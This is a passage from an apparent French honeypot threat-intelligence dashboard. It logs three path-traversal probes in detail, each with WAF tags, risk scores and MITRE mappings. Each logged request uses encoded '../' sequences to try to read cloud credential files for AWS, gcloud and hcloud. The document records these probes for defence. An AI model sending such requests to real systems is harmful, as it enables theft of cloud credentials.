"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
Ligne de requête
GET /..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws/credentials HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws/credentials HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.
Requête brute (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2fhome/ubuntu/.aws/credentials HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 4,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "09aaf384e86016ee74c63e308c00d05339a91cf7",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 256,
"payload_entropy": 5.333165502411819,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "4c0ac155267efa27df1021d1425f0eb847a268e3",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 183,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468"
],
"matched_pattern_names": [
"Cred AWS credentials file"
],
"pattern_ids": [
"pat-0468"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "2469b14e73f4a7e62e50a9602c3c8d6f",
"path_pattern_hash": "393046e47c78e8a8ecf1da04c9a00b8a"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"evidence": {
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8af59fc1bb1fd1227a6c8143d7442ce67bf17903",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\u2026",
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2fhome\/ubuntu\/.aws\/credentials HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcl…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcloud/application_default_credentials.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcloud/application_default_credentials.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcloud/application_default_credentials.json
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcloud/application_default_credentials.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcloud/application_default_credentials.json HTTP/1.1
connection: close
accept:
Requête brute (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/gcloud/application_default_credentials.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 4,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "ebe9b2c2b0fbcfe386587a7466fbdecbdc13ff76",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 284,
"payload_entropy": 5.328431070606532,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "8328359f2228fb945ce08e8c35973988042c7be8",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 183,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "ca82743a2563a4220382a383f510aab1",
"path_pattern_hash": "18db1133e6ac44e0f430a140ab03ea47"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept:",
"evidence": {
"method": "GET",
"path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"request_sample": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.3",
"payload_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept:",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a4d631a29ed65285f749cbe289f458902f139c6c",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept:",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcl\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json",
"request_line": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcl\u2026",
"evidence_snippet": "GET \/..%2f..%2f..%2f..%2f..%2f..%2froot\/.config\/gcloud\/application_default_credentials.json HTTP\/1.1\r\nconnection: close\r\naccept:",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcl…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcloud/cli.toml UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcloud/cli.toml
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcloud/cli.toml
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcloud/cli.toml HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcloud/cli.toml HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.
Requête brute (extrait)
GET /..%2f..%2f..%2f..%2f..%2f..%2froot/.config/hcloud/cli.toml HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 4,
"http_path_ext": "toml",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "3417432230ff20d2269f56d0424135e980e582cc",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 256,
"payload_entropy": 5.2976458452013055,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "9739b00ea7bdfaf8fe8570764bbd8ca907c7f284",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 183,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
